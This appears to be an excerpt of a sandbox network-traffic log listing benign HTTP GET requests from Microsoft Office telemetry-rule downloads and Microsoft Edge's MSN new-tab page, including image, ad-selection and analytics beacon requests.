Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=331C9059D5CC671123A1851BD4CD6669&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=13f14023b73f4d3cabef3752d02f74b4 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=331C9059D5CC671123A1851BD4CD6669; _EDGE_S=F=1&SID=0818A893694C69AF2D9ABDD1687E68F5; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732540483020&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=331C9059D5CC671123A1851BD4CD6669&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1CAdb95554df9bb41dd4e1e1732540484; XID=1CAdb95554df9bb41dd4e1e1732540484
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732540483020&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=2ac1881eaff6422fb06ab1deeda022a5&activityId=2ac1881eaff6422fb06ab1deeda022a5&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=7FB21901C9F842068E7F2C3609008CF3&MUID=331C9059D5CC671123A1851BD4CD6669 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=331C9059D5CC671123A1851BD4CD6669; _EDGE_S=F=1&SID=0818A893694C69AF2D9ABDD1687E68F5; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=331C9059D5CC671123A1851BD4CD6669&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=aa68e6b13cfb450cdd48bd85340bec78 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=331C9059D5CC671123A1851BD4CD6669; _EDGE_S=F=1&SID=0818A893694C69AF2D9ABDD1687E68F5; _EDGE_V=1; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyCF.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO4.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msFQA.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
